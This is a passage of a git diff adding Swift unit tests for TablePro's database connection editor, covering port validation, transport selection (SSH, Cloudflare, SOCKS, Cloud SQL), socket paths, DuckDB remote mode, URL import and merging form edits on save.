+ @Test("A manual Cloudflare port must be within range") + func cloudflarePortRange() { + var draft = draft(.postgresql, transport: .cloudflare) + draft.cloudflare.accessHostname = "db.example.com" + draft.cloudflare.automaticPort = false + draft.cloudflare.localPort = "70000" + #expect(messages(draft, on: .cloudflareLocalPort).contains { $0.localizedCaseInsensitiveContains("port") }) + } + + @Test("Service token mode requires an id and a secret") + func cloudflareServiceTokenRequired() { + var draft = draft(.postgresql, transport: .cloudflare) + draft.cloudflare.accessHostname = "db.example.com" + draft.cloudflare.authMethod = .serviceToken + #expect(!transportIssues(draft).isEmpty) + } + + @Test("A valid browser sign-in configuration has no issues") + func cloudflareValidBrowserConfig() { + var draft = draft(.postgresql, transport: .cloudflare) + draft.cloudflare.accessHostname = "db.example.com" + draft.cloudflare.authMethod = .browserSSO + #expect(transportIssues(draft).isEmpty) + } + + // MARK: - SSH forward to a socket + + @Test("An absolute socket file path gets no advice") + func acceptsAbsoluteSocketPath() { + #expect(SSHForwardSocketAdvice.of(path: "/var/run/postgresql/.s.PGSQL.5432") == nil) + } + + @Test("An empty path gets no advice, because the field is optional") + func emptyPathIsFine() { + #expect(SSHForwardSocketAdvice.of(path: "") == nil) + #expect(SSHForwardSocketAdvice.of(path: " ") == nil) + } + + @Test("A relative path is flagged") + func flagsRelativePath() { + #expect(SSHForwardSocketAdvice.of(path: "var/run/postgresql") == .notAbsolute) + } + + @Test("A trailing slash is flagged, because ssh forwards to the socket file, not its directory") + func flagsDirectoryPath() { + #expect(SSHForwardSocketAdvice.of(path: "/var/run/postgresql/") == .looksLikeDirectory) + } + + @Test("Loading a tunnelled connection fills the socket path and forwards to it") + func loadsSocketPath() { + var connection = DatabaseConnection(name: "socket", host: "db.internal", port: 5_432, type: .postgresql) + connection.sshForwardUnixSocketPath = "/var/run/postgresql/.s.PGSQL.5432" + connection.sshTunnelMode = .inline(SSHConfiguration(enabled: true, host: "bastion.example.com")) + + let draft = ConnectionDraft.loaded(from: connection, secrets: .none, traits: traits(.postgresql)) + + #expect(draft.sshForwardUnixSocketPath == "/var/run/postgresql/.s.PGSQL.5432") + #expect(ConnectionEditorEngine.forwardsToUnixSocket(draft)) + } + + @Test("Writing trims the socket path") + func writeTrimsSocketPath() { + let postgres = traits(.postgresql) + var draft = draft(.postgresql, transport: .ssh) + draft.sshForwardUnixSocketPath = " /var/run/postgresql/.s.PGSQL.5432 " + + let fields = ConnectionEditorEngine.edits(draft, postgres, originalTraits: nil, EditorContext()).additionalFields + + #expect(fields[DatabaseConnection.sshForwardUnixSocketPathKey] == "/var/run/postgresql/.s.PGSQL.5432") + } + + @Test("Writing an empty socket path stores nothing") + func writeOmitsEmptySocketPath() { + let postgres = traits(.postgresql) + var draft = draft(.postgresql, transport: .ssh) + draft.sshForwardUnixSocketPath = " " + + let fields = ConnectionEditorEngine.edits(draft, postgres, originalTraits: nil, EditorContext()).additionalFields + + #expect(fields[DatabaseConnection.sshForwardUnixSocketPathKey] == nil) + #expect(!ConnectionEditorEngine.forwardsToUnixSocket(draft)) + } + + // The field's prompt is the type's own path, and a generic one when the type has none. + @Test("The socket path prompt follows the database type") + func socketPromptFollowsType() { + #expect(traits(.mysql).defaultUnixSocketPath == "/var/run/mysqld/mysqld.sock") + #expect(traits(.postgresql).defaultUnixSocketPath == "/var/run/postgresql/.s.PGSQL.5432") + #expect(traits(.clickhouse).defaultUnixSocketPath == nil) + } + + // MARK: - One port parser + + @Test("A padded SSH port passes validation and is the port Test and Save dial") + func paddedSSHPortIsDialed() { + var draft = draft(.postgresql, transport: .ssh) + draft.ssh.host = "bastion.example.com" + draft.ssh.port = " 2222 " + #expect(messages(draft, on: .sshPort).isEmpty) + #expect(draft.ssh.inlineConfiguration(enabled: true).port == 2_222) + let edits = ConnectionEditorEngine.edits(draft, traits(.postgresql), originalTraits: nil, EditorContext()) + #expect(edits.sshConfig.port == 2_222) + + draft.ssh.port = " " + #expect(messages(draft, on: .sshPort).isEmpty) + #expect(draft.ssh.inlineConfiguration(enabled: true).port == nil) + } + + @Test("A padded Cloudflare local port passes validation and is the port the tunnel binds") + func paddedCloudflarePortIsUsed() { + var draft = draft(.postgresql, transport: .cloudflare) + draft.cloudflare.accessHostname = "db.example.com" + draft.cloudflare.automaticPort = false + draft.cloudflare.localPort = " 5433 " + #expect(messages(draft, on: .cloudflareLocalPort).isEmpty) + #expect(draft.cloudflare.configuration.localPort == 5_433) + } + + @Test("A padded Cloud SQL local port passes validation and is the port the proxy binds") + func paddedCloudSQLPortIsUsed() { + var draft = draft(.postgresql, transport: .cloudSQLProxy) + draft.cloudSQLProxy.instanceConnectionName = "p:r:i" + draft.cloudSQLProxy.automaticPort = false + draft.cloudSQLProxy.localPort = " 5434 " + #expect(messages(draft, on: .cloudSQLLocalPort).isEmpty) + #expect(draft.cloudSQLProxy.configuration.localPort == 5_434) + } + + @Test("A padded SOCKS port passes validation and is the port the proxy dials") + func paddedSOCKSPortIsUsed() { + var draft = draft(.postgresql, transport: .socksProxy) + draft.socksProxy.host = "proxy.example.com" + draft.socksProxy.port = " 1081 " + #expect(messages(draft, on: .socksPort).isEmpty) + #expect(draft.socksProxy.configuration.port == 1_081) + } + + @Test("A padded database port passes validation and is the port saved") + func paddedDatabasePortIsSaved() { + var draft = draft(.postgresql, transport: nil) + draft.portText = " 6543 " + #expect(ConnectionEditorEngine.issues(draft, traits(.postgresql), EditorContext()).allSatisfy { $0.row != .builtIn(.port) }) + #expect(ConnectionEditorEngine.edits(draft, traits(.postgresql), originalTraits: nil, EditorContext()).port == 6_543) + } + + @Test("A jump host port outside 1 to 65535 blocks Save on that hop") + func jumpHostPortRange() { + var draft = draft(.postgresql, transport: .ssh) + draft.ssh.host = "bastion.example.com" + let hop = SSHJumpHost(host: "jump.example.com", port: 70_000, username: "ops") + draft.ssh.jumpHosts = [hop] + let issues = transportIssues(draft).filter { $0.row == .builtIn(.jumpHost(hop.id)) } + #expect(issues.map { $0.message } == [ConnectionEditorEngine.portRangeMessage]) + #expect(issues.allSatisfy { $0.blocksSave }) + + draft.ssh.jumpHosts[0].port = 0 + #expect(!transportIssues(draft).filter { $0.row == .builtIn(.jumpHost(hop.id)) }.isEmpty) + + draft.ssh.jumpHosts[0].port = 2_222 + #expect(transportIssues(draft).isEmpty) + } + + @Test("A server port field takes the same range as Port, and a padded one is saved trimmed") + func serverEndpointPortField() { + let duckdb = traits(.duckdb) + var draft = ConnectionDraft.new(type: .duckdb, traits: duckdb) + draft.fieldValues["duckdbMode"] = "remote" + draft.fieldValues["duckdbHost"] = "quack.example.com" + draft.fieldValues["duckdbToken"] = "token" + draft.fieldValues["duckdbAlias"] = "remotedb" + let row = EditorRow.plugin(fieldID: "duckdbPort") + + draft.fieldValues["duckdbPort"] = "70000" + #expect(ConnectionEditorEngine.issues(draft, duckdb, EditorContext()).contains { $0.row == row }) + + draft.fieldValues["duckdbPort"] = " 9495 " + #expect(!ConnectionEditorEngine.issues(draft, duckdb, EditorContext()).contains { $0.row == row }) + let fields = ConnectionEditorEngine.edits(draft, duckdb, originalTraits: nil, EditorContext()).additionalFields + #expect(fields["duckdbPort"] == "9495") + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineTransportTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineTransportTests.swift new file mode 100644 index 0000000000..f339241239 --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineTransportTests.swift @@ -0,0 +1,447 @@ +// +// ConnectionEditorEngineTransportTests.swift +// TableProTests +// + +import Foundation +import TableProPluginKit +import TableProSSHConfig +import Testing + +@testable import TablePro + +// One transport at a time: two enabled at once made `activeTunnelKind` answer nil and the connect go direct. +@MainActor +struct ConnectionEditorEngineTransportTests { + private func traits(_ type: DatabaseType) -> ConnectionTypeTraits { + ConnectionTypeTraits.live(for: type, pluginManager: .shared) + } + + private func draft(_ type: DatabaseType = .mysql) -> ConnectionDraft { + ConnectionDraft.new(type: type, traits: traits(type)) + } + + private func edits(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> ConnectionFormEdits { + ConnectionEditorEngine.edits(draft, traits, originalTraits: nil, EditorContext()) + } + + // The modes the record would carry, in the order the connect path reads them. + private func enabledKinds(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> [ConnectionTunnelKind] { + let edits = edits(draft, traits) + var kinds: [ConnectionTunnelKind] = [] + if edits.sshTunnelMode != .disabled { kinds.append(.ssh) } + if edits.cloudflareTunnelMode != .disabled { kinds.append(.cloudflare) } + if edits.cloudSQLProxyMode != .disabled { kinds.append(.cloudSQLProxy) } + if edits.socksProxyMode != .disabled { kinds.append(.socksProxy) } + if edits.tunnelCommandMode != .disabled { kinds.append(.tunnelCommand) } + return kinds + } + + private func duckdb(mode: String) -> ConnectionDraft { + var draft = draft(.duckdb) + draft.setFieldValue(mode, for: "duckdbMode") + draft.setFieldValue("quack.internal", for: "duckdbHost") + return draft + } + + private func importing(_ url: String) throws -> (draft: ConnectionDraft, traits: ConnectionTypeTraits) { + let parsed = try ConnectionURLParser.parse(url).get() + let traits = traits(parsed.type) + var draft = ConnectionDraft.new(type: parsed.type, traits: traits) + draft.apply(parsed, traits: traits, policy: .newConnection) + return (ConnectionEditorEngine.normalized(draft, traits), traits) + } + + // MARK: - Selection + + @Test("A new connection is direct") + func defaultsToDirect() { + let mysql = traits(.mysql) + let draft = draft() + #expect(draft.transport == nil) + #expect(enabledKinds(draft, mysql).isEmpty) + } + + @Test("Selecting a transport enables exactly that one") + func selectionIsExclusive() { + let mysql = traits(.mysql) + for kind in ConnectionTunnelKind.formToggleable { + var draft = draft() + draft.selectTransport(kind) + #expect(enabledKinds(draft, mysql) == [kind], "\(kind) did not enable alone") + #expect(draft.transport == kind, "\(kind) did not round-trip") + } + } + + @Test("Switching transport disables the previous one") + func switchingDisablesPrevious() { + let mysql = traits(.mysql) + for first in ConnectionTunnelKind.formToggleable { + for second in ConnectionTunnelKind.formToggleable where second != first { + var draft = draft() + draft.selectTransport(first) + draft.selectTransport(second) + #expect(enabledKinds(draft, mysql) == [second], "\(first) survived a switch to \(second)") + } + } + } + + @Test("Selecting direct disables every transport") + func directDisablesEverything() { + let mysql = traits(.mysql) + var draft = draft() + draft.selectTransport(.socksProxy) + draft.selectTransport(nil) + #expect(draft.transport == nil) + #expect(enabledKinds(draft, mysql).isEmpty) + } + + @Test("Switching away keeps the transport's configuration for switching back") + func switchingPreservesConfiguration() { + var draft = draft() + draft.selectTransport(.ssh) + draft.ssh.host = "bastion.example.com" + draft.ssh.username = "deploy" + + draft.selectTransport(.socksProxy) + #expect(draft.ssh.host == "bastion.example.com") + + draft.selectTransport(.ssh) + #expect(draft.ssh.host == "bastion.example.com") + #expect(draft.ssh.username == "deploy") + } + + @Test("A connection stored with two transports loads with one") + func loadCollapsesLegacyMultiTransport() { + let mysql = traits(.mysql) + var stored = DatabaseConnection(name: "Legacy", host: "db.internal", port: 3_306, type: .mysql) + stored.sshTunnelMode = .inline(SSHConfiguration(enabled: true, host: "bastion.example.com")) + stored.socksProxyMode = .inline(SOCKSProxyConfiguration(host: "proxy.example.com")) + stored.tunnelCommandMode = .inline(TunnelCommandConfiguration(method: .custom, command: "forward {port}")) + + let draft = ConnectionDraft.loaded(from: stored, secrets: .none, traits: mysql) + + #expect(draft.transport == .ssh) + #expect(enabledKinds(draft, mysql) == [.ssh]) + } + + @Test("A transport the type no longer offers falls back to direct") + func normalizeDropsUnavailableTransport() { + let sqlite = traits(.sqlite) + var draft = draft() + draft.selectTransport(.cloudflare) + + let normalized = ConnectionEditorEngine.normalized(draft, sqlite) + + #expect(normalized.transport == nil) + #expect(enabledKinds(normalized, sqlite).isEmpty) + } + + // MARK: - What each type offers + + @Test("Direct is always offered first, exactly once, and nothing is offered twice") + func availableTransportsAreWellFormed() { + for type in DatabaseType.allKnownTypes { + let available = ConnectionEditorEngine.availableTransports(draft(type), traits(type)) + #expect(available.first == .some(nil), "\(type.rawValue) does not offer direct first") + #expect(Set(available).count == available.count, "\(type.rawValue) offers a duplicate transport") + } + } + + @Test("A file-based type offers the remote file transport rather than a port forward") + func fileBasedTypeUsesRemoteFile() { + let sqlite = traits(.sqlite) + var draft = draft(.sqlite) + let available = ConnectionEditorEngine.availableTransports(draft, sqlite) + #expect(available.contains(.remoteFile)) + #expect(!available.contains(.ssh)) + + draft.selectTransport(.remoteFile) + #expect(draft.usesSSHServer) + #expect(draft.transport == .remoteFile) + #expect(edits(draft, sqlite).sshTunnelMode != .disabled) + } + + @Test("The SSH server is offered as one transport, never as both of its flavours") + func sshAndRemoteFileAreNeverOfferedTogether() { + for type in DatabaseType.allKnownTypes { + let available = ConnectionEditorEngine.availableTransports(draft(type), traits(type)) + #expect( + !(available.contains(.ssh) && available.contains(.remoteFile)), + "\(type.rawValue) offers both SSH flavours, so the picker cannot round-trip" + ) + } + } + + @Test("Weaviate offers the SSH tunnel and every other transport that forwards a port") + func weaviateOffersPortForwards() { + let available = ConnectionEditorEngine.availableTransports(draft(.weaviate), traits(.weaviate)) + #expect(available == [nil, .ssh, .cloudflare, .socksProxy, .tunnelCommand]) + } + + // A registry type's built-in entry once offered Cloudflare Tunnel with nothing to forward to. + @Test("A type with no port forward and no remote file connects directly only") + func typeWithoutPortForwardIsDirectOnly() { + let manager = PluginManager.shared + for type in DatabaseType.allKnownTypes + where !manager.supportsSSH(for: type) && !manager.supportsRemoteDatabaseFile(for: type) { + #expect( + ConnectionEditorEngine.availableTransports(draft(type), traits(type)) == [nil], + "\(type.rawValue) offers a transport it has no port to forward through" + ) + } + } + + @Test("A type that dials its host offers a port forward wherever it supports SSH") + func networkTypesKeepTheirTransports() { + let manager = PluginManager.shared + for type in DatabaseType.allKnownTypes + where manager.connectionMode(for: type) == .network && !manager.supportsRemoteDatabaseFile(for: type) { + let available = ConnectionEditorEngine.availableTransports(draft(type), traits(type)) + #expect(available.contains(.ssh) == manager.supportsSSH(for: type), "\(type.rawValue)") + #expect(available.contains(.socksProxy) == manager.supportsSOCKSProxy(for: type), "\(type.rawValue)") + } + } + + @Test("A selected transport always has a facet that shows it") + func aSelectedTransportIsAlwaysReachable() { + for type in DatabaseType.allKnownTypes { + let traits = traits(type) + let base = draft(type) + for kind in ConnectionEditorEngine.availableTransports(base, traits).compactMap({ $0 }) { + var draft = base + draft.selectTransport(kind) + #expect( + ConnectionEditorEngine.layout(draft, traits, EditorContext()).facet(.sshAndProxies) != nil, + "\(type.rawValue) hides SSH & Proxies while \(kind.rawValue) is on, so its issues have nowhere to show" + ) + } + } + } + + // MARK: - DuckDB + + @Test("DuckDB in Local File offers no transport and no SSH & Proxies or SSL/TLS facet") + func duckdbLocalHasNoTransportFacet() { + let duckdbTraits = traits(.duckdb) + let draft = duckdb(mode: "local") + let layout = ConnectionEditorEngine.layout(draft, duckdbTraits, EditorContext()) + + #expect(ConnectionEditorEngine.availableTransports(draft, duckdbTraits) == [nil]) + #expect(!duckdbTraits.supportsSSL) + #expect(layout.facet(.sshAndProxies) == nil) + #expect(layout.facet(.sslTLS) == nil) + } + + @Test("DuckDB in Remote offers the SSH tunnel and every other transport that forwards a port, and no SSL/TLS facet") + func duckdbRemoteOffersPortForwards() { + let duckdbTraits = traits(.duckdb) + let draft = duckdb(mode: "remote") + let layout = ConnectionEditorEngine.layout(draft, duckdbTraits, EditorContext()) + + #expect(ConnectionEditorEngine.availableTransports(draft, duckdbTraits) == [nil, .ssh, .cloudflare, .socksProxy, .tunnelCommand]) + #expect(layout.facet(.sshAndProxies) != nil) + #expect(!ConnectionEditorEngine.showsSSL(draft, duckdbTraits)) + #expect(layout.facet(.sslTLS) == nil) + } + + @Test("Switching DuckDB to Local File drops the transport it had in Remote and keeps the server") + func duckdbLocalDropsTheRemoteTransport() { + let duckdbTraits = traits(.duckdb) + var draft = duckdb(mode: "remote") + draft.selectTransport(.ssh) + draft.ssh.host = "bastion.example.com" + + draft.setFieldValue("local", for: "duckdbMode") + let normalized = ConnectionEditorEngine.normalized(draft, duckdbTraits) + + #expect(normalized.transport == nil) + #expect(enabledKinds(normalized, duckdbTraits).isEmpty) + #expect(normalized.ssh.host == "bastion.example.com", "The server itself is kept for switching back") + } + + @Test("A DuckDB Remote tunnel forwards to the server General names") + func duckdbTunnelForwardsToTheServer() { + let duckdbTraits = traits(.duckdb) + var draft = duckdb(mode: "remote") + draft.setFieldValue("9500", for: "duckdbPort") + + let endpoint = edits(draft, duckdbTraits).applied(to: DatabaseConnection(name: "")).tunnelForwardEndpoint + + #expect(endpoint.host == "quack.internal") + #expect(endpoint.port == 9_500) + } + + // MARK: - URL import + + @Test("A quack+ssh URL opens DuckDB in Remote on the SSH tunnel, with the SSL Mode it names") + func quackSSHURLOpensRemoteOverSSH() throws { + let imported = try importing("quack+ssh://deploy@bastion.example.com/quack.internal:9500/remotedb?sslmode=require") + + #expect(imported.draft.type == .duckdb) + #expect(imported.draft.transport == .ssh, "Normalizing must not drop a tunnel the Remote fields can use") + #expect(imported.draft.ssh.host == "bastion.example.com") + let fields = imported.draft.fieldValues + #expect(fields["duckdbMode"] == "remote") + #expect(fields["duckdbHost"] == "quack.internal") + #expect(fields["duckdbPort"] == "9500") + #expect(fields["duckdbSSLMode"] == "required") + } + + @Test("A URL naming an SSH server opens the editor on exactly that transport") + func urlImportSelectsOneTransport() throws { + let imported = try importing("mysql+ssh://deploy@bastion.example.com:22/dbuser@db.internal:3306/app") + + #expect(imported.draft.transport == .ssh) + #expect(enabledKinds(imported.draft, imported.traits) == [.ssh]) + #expect(imported.draft.ssh.host == "bastion.example.com") + } + + // MARK: - Values a transport owns + + @Test("Leaving the SSH server clears the remote file path it was carrying") + func leavingSSHClearsRemoteFilePath() { + var draft = draft(.sqlite) + draft.selectTransport(.remoteFile) + draft.ssh.remoteFilePath = "/var/db/app.sqlite" + + draft.selectTransport(nil) + + #expect(draft.ssh.remoteFilePath.isEmpty) + } + + @Test("Changing the type clears a remote file path the new type cannot open") + func retypeClearsRemoteFilePath() { + var draft = draft(.sqlite) + draft.selectTransport(.remoteFile) + draft.ssh.remoteFilePath = "/var/db/app.sqlite" + + draft.retype(to: traits(.mysql), from: traits(.sqlite)) + + #expect(draft.transport == nil) + #expect(draft.ssh.remoteFilePath.isEmpty) + } + + @Test("Leaving the port forward clears the socket path only it can reach") + func leavingSSHClearsForwardSocketPath() { + var draft = draft() + draft.selectTransport(.ssh) + draft.sshForwardUnixSocketPath = "/var/run/postgresql/.s.PGSQL.5432" + + draft.selectTransport(.socksProxy) + + #expect(draft.sshForwardUnixSocketPath.isEmpty) + #expect(!ConnectionEditorEngine.forwardsToUnixSocket(draft)) + } + + // A SQL Server connection changed to MySQL would otherwise leave its Kerberos password stored under the same id. + @Test("A retyped connection still owns the previous type's secure fields") + func retypeKeepsOwnershipOfTheOldTypesSecrets() throws { + let manager = PluginManager.shared + let secretive = DatabaseType.allKnownTypes.first { type in + manager.additionalConnectionFields(for: type).contains { $0.isSecure } + } + let original = try #require(secretive, "No known type declares a secure connection field") + let originalIds = Set(manager.additionalConnectionFields(for: original).filter(\.isSecure).map(\.id)) + + let ownedIds = ConnectionEditorEngine.secureFieldsOwnedByForm(traits(.mysql), originalTraits: traits(original)).map(\.id) + + #expect(originalIds.isSubset(of: Set(ownedIds))) + #expect(Set(ownedIds).count == ownedIds.count, "A field shared by both types is listed once") + } + + @Test("A driver with no SSL/TLS facet cannot be blocked by an SSL rule") + func sslIssuesAreSilentWhereThereIsNoSSLFacet() { + let sqlite = traits(.sqlite) + var fileDraft = draft(.sqlite) + fileDraft.selectSSLMode(.verifyCa) + fileDraft.ssl.caCertPath = "" + #expect(!sqlite.supportsSSL) + #expect(!ConnectionEditorEngine.issues(fileDraft, sqlite, EditorContext()).contains { $0.facet == .sslTLS }) + + let mysql = traits(.mysql) + var networked = draft() + networked.selectSSLMode(.verifyCa) + networked.ssl.caCertPath = "" + #expect(mysql.supportsSSL) + #expect( + ConnectionEditorEngine.issues(networked, mysql, EditorContext()).contains { $0.row == .builtIn(.sslCACertificate) }, + "A driver that shows the field still requires it" + ) + } + + // MARK: - Socket endpoint + + @Test("Choosing Socket clears the transport, leaves only Direct and keeps SSL/TLS") + func socketClearsTheTransport() { + let mysql = traits(.mysql) + var draft = draft() + draft.selectTransport(.ssh) + draft.ssh.host = "bastion.example.com" + + draft.selectEndpoint(.localSocket) + + #expect(draft.transport == nil) + #expect(enabledKinds(draft, mysql).isEmpty) + #expect(ConnectionEditorEngine.availableTransports(draft, mysql) == [nil]) + #expect(ConnectionEditorEngine.layout(draft, mysql, EditorContext()).facet(.sslTLS) != nil, "SSL Mode still applies over a socket") + #expect(draft.ssh.host == "bastion.example.com", "The server itself is kept") + } + + @Test("Going back to Host and Port offers the transports again") + func hostAndPortRestoresTransports() { + let mysql = traits(.mysql) + var draft = draft() + let offered = ConnectionEditorEngine.availableTransports(draft, mysql) + + draft.selectEndpoint(.localSocket) + draft.selectEndpoint(.hostAndPort) + + #expect(ConnectionEditorEngine.availableTransports(draft, mysql) == offered) + #expect(offered.contains(.ssh)) + } + + @Test("A stored socket under an SSH tunnel loads as Host and Port and keeps the tunnel") + func storedSocketUnderSSHKeepsTheTunnel() { + let mysql = traits(.mysql) + var stored = DatabaseConnection(name: "Mixed", host: "db.internal", port: 3_306, type: .mysql) + stored.additionalFields[MySQLLocalSocket.fieldKey] = "/tmp/mysql.sock" + stored.sshTunnelMode = .inline(SSHConfiguration(enabled: true, host: "bastion.example.com")) + + let draft = ConnectionDraft.loaded(from: stored, secrets: .none, traits: mysql) + + #expect(draft.endpoint == .hostAndPort) + #expect(draft.transport == .ssh) + #expect(edits(draft, mysql).additionalFields[MySQLLocalSocket.fieldKey] == nil) + } + + @Test("A socket connection saves its path and no transport") + func socketEditsCarryThePath() { + let mysql = traits(.mysql) + var draft = draft() + draft.name = "Local" + draft.selectEndpoint(.localSocket) + draft.localSocketPath = "/tmp/mysql.sock" + + let edits = edits(draft, mysql) + + #expect(edits.additionalFields[MySQLLocalSocket.fieldKey] == "/tmp/mysql.sock") + #expect(edits.ownedAdditionalFieldIDs.contains(MySQLLocalSocket.fieldKey)) + #expect(edits.applied(to: DatabaseConnection(name: "")).localSocketPath == "/tmp/mysql.sock") + #expect(enabledKinds(draft, mysql).isEmpty) + #expect(!ConnectionEditorEngine.issues(draft, mysql, EditorContext()).contains { $0.blocksSave }) + } + + @Test("An empty socket blocks Save from General") + func emptySocketIsClaimedByGeneral() throws { + let mysql = traits(.mysql) + var draft = draft() + draft.name = "Local" + draft.selectEndpoint(.localSocket) + + let blocking = ConnectionEditorEngine.issues(draft, mysql, EditorContext()).filter(\.blocksSave) + let first = try #require(blocking.first) + #expect(first.facet == .general) + #expect(first.row == .builtIn(.localSocketPath)) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionFormEditsMergeTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionFormEditsMergeTests.swift new file mode 100644 index 0000000000..1335fc3a57 --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionFormEditsMergeTests.swift @@ -0,0 +1,349 @@ +// +// ConnectionFormEditsMergeTests.swift +// TableProTests +// + +import Foundation +import TableProAutocomplete +import TableProPluginKit +import TableProSSHConfig +import Testing + +@testable import TablePro + +// Save applies the form onto a fresh read: a value the form did not change keeps what another writer stored. +@MainActor +struct ConnectionFormEditsMergeTests { + private struct Property { + let change: (inout DatabaseConnection) -> Void + let read: (DatabaseConnection) -> String + } + + private struct StoredKey { + let change: (inout DatabaseConnection) -> Void + let remove: (inout DatabaseConnection) -> Void + let read: (DatabaseConnection) -> String + } + + private static let carriedOver: Set = [ + "id", "aiAlwaysAllowedTools", "sortOrder", "isSample", "isFavorite", "passwordSource", "sshRoute", "origin" + ] + + private static let pluginKey = "pluginOption" + + private static func describe(_ value: Value) -> String { String(describing: value) } + + // One entry per property the form writes; the Mirror check below fails when DatabaseConnection gains one. + private static let properties: [String: Property] = [ + "name": Property(change: { $0.name = "Concurrent" }, read: { describe($0.name) }), + "host": Property(change: { $0.host = "other.example.com" }, read: { describe($0.host) }), + "port": Property(change: { $0.port = 6_000 }, read: { describe($0.port) }), + "database": Property(change: { $0.database = "other" }, read: { describe($0.database) }), + "username": Property(change: { $0.username = "other" }, read: { describe($0.username) }), + "type": Property(change: { $0.type = .mariadb }, read: { describe($0.type) }), + "sshConfig": Property(change: { $0.sshConfig.host = "changed" }, read: { describe($0.sshConfig) }), + "sslConfig": Property(change: { $0.sslConfig.mode = .required }, read: { describe($0.sslConfig) }), + "color": Property(change: { $0.color = .red }, read: { describe($0.color) }), + "iconName": Property(change: { $0.iconName = "star" }, read: { describe($0.iconName) }), + "tagIds": Property(change: { $0.tagIds = [UUID()] }, read: { describe($0.tagIds) }), + "groupId": Property(change: { $0.groupId = UUID() }, read: { describe($0.groupId) }), + "sshProfileId": Property(change: { $0.sshProfileId = UUID() }, read: { describe($0.sshProfileId) }), + "sshTunnelMode": Property( + change: { $0.sshTunnelMode = .inline(SSHConfiguration(enabled: true, host: "bastion")) }, + read: { describe($0.sshTunnelMode) } + ), + "credentialMode": Property(change: { $0.credentialMode = .profile(id: UUID()) }, read: { describe($0.credentialMode) }), + "cloudflareTunnelMode": Property( + change: { + $0.cloudflareTunnelMode = .inline(CloudflareConfiguration( + accessHostname: "db.example.com", localPort: nil, authMethod: .browserSSO, exposeToLAN: false, binaryPath: "" + )) + }, + read: { describe($0.cloudflareTunnelMode) } + ), + "cloudSQLProxyMode": Property( + change: { + $0.cloudSQLProxyMode = .inline(CloudSQLProxyConfiguration( + instanceConnectionName: "p:r:i", authMode: .applicationDefault, useIAMAuth: false, + usePrivateIP: false, localPort: nil, binaryPath: "" + )) + }, + read: { describe($0.cloudSQLProxyMode) } + ), + "socksProxyMode": Property( + change: { $0.socksProxyMode = .inline(SOCKSProxyConfiguration(host: "proxy", port: 1_080, username: "")) }, + read: { describe($0.socksProxyMode) } + ), + "tunnelCommandMode": Property( + change: { $0.tunnelCommandMode = .inline(TunnelCommandConfiguration()) }, + read: { describe($0.tunnelCommandMode) } + ), + "preferredSafeModeLevel": Property(change: { $0.preferredSafeModeLevel = .readOnly }, read: { describe($0.preferredSafeModeLevel) }), + "aiPolicy": Property(change: { $0.aiPolicy = .never }, read: { describe($0.aiPolicy) }), + "aiRules": Property(change: { $0.aiRules = "Prefer views" }, read: { describe($0.aiRules) }), + "externalAccess": Property(change: { $0.externalAccess = .blocked }, read: { describe($0.externalAccess) }), + "redisDatabase": Property(change: { $0.redisDatabase = 4 }, read: { describe($0.redisDatabase) }), + "startupCommands": Property(change: { $0.startupCommands = "SET x = 1" }, read: { describe($0.startupCommands) }), + "localOnly": Property(change: { $0.localOnly = true }, read: { describe($0.localOnly) }) + ] + + // The typed properties that sit over an additionalFields key, plus a plugin field. + private static let storedKeys: [String: StoredKey] = [ + "connectTimeoutSeconds": StoredKey( + change: { $0.connectTimeoutSeconds = 45 }, + remove: { $0.connectTimeoutSeconds = nil }, + read: { describe($0.connectTimeoutSeconds) } + ), + "queryTimeoutSeconds": StoredKey( + change: { $0.queryTimeoutSeconds = 90 }, + remove: { $0.queryTimeoutSeconds = nil }, + read: { describe($0.queryTimeoutSeconds) } + ), + "binaryInlineLimitKilobytes": StoredKey( + change: { $0.binaryInlineLimitKilobytes = 512 }, + remove: { $0.binaryInlineLimitKilobytes = nil }, + read: { describe($0.binaryInlineLimitKilobytes) } + ), + "completionIdentifierCase": StoredKey( + change: { $0.completionIdentifierCase = .lower }, + remove: { $0.completionIdentifierCase = .default }, + read: { describe($0.completionIdentifierCase) } + ), + "commitMode": StoredKey( + change: { $0.commitMode = .automatic }, + remove: { $0.commitMode = .automatic }, + read: { describe($0.commitMode) } + ), + "maskingRules": StoredKey( + change: { $0.maskingRules = [MaskingRule(pattern: "*.ssn")] }, + remove: { $0.maskingRules = [] }, + read: { describe($0.maskingRules.map(\.pattern)) } + ), + pluginKey: StoredKey( + change: { $0.additionalFields[pluginKey] = "changed" }, + remove: { $0.additionalFields[pluginKey] = nil }, + read: { describe($0.additionalFields[pluginKey]) } + ) + ] + + private static func base() -> DatabaseConnection { + var connection = DatabaseConnection( + id: UUID(), + name: "Shop", + host: "db.example.com", + port: 3_306, + database: "shop", + username: "app", + type: .mysql + ) + connection.connectTimeoutSeconds = 20 + connection.queryTimeoutSeconds = 30 + connection.binaryInlineLimitKilobytes = 128 + connection.completionIdentifierCase = .upper + connection.commitMode = .manual + connection.maskingRules = [MaskingRule(pattern: "*.email")] + connection.additionalFields[pluginKey] = "original" + return connection + } + + private static func edits(_ connection: DatabaseConnection) -> ConnectionFormEdits { + ConnectionFormEdits( + name: connection.name, + host: connection.host, + port: connection.port, + database: connection.database, + username: connection.username, + type: connection.type, + sshConfig: connection.sshConfig, + sslConfig: connection.sslConfig, + color: connection.color, + iconName: connection.iconName, + tagIds: connection.tagIds, + groupId: connection.groupId, + sshProfileId: connection.sshProfileId, + sshTunnelMode: connection.sshTunnelMode, + credentialMode: connection.credentialMode, + cloudflareTunnelMode: connection.cloudflareTunnelMode, + cloudSQLProxyMode: connection.cloudSQLProxyMode, + socksProxyMode: connection.socksProxyMode, + tunnelCommandMode: connection.tunnelCommandMode, + safeModeLevel: connection.preferredSafeModeLevel, + aiPolicy: connection.aiPolicy, + aiRules: connection.aiRules, + externalAccess: connection.externalAccess, + connectTimeoutSeconds: connection.connectTimeoutSeconds, + queryTimeoutSeconds: connection.queryTimeoutSeconds, + binaryInlineLimitKilobytes: connection.binaryInlineLimitKilobytes, + completionIdentifierCase: connection.completionIdentifierCase, + commitMode: 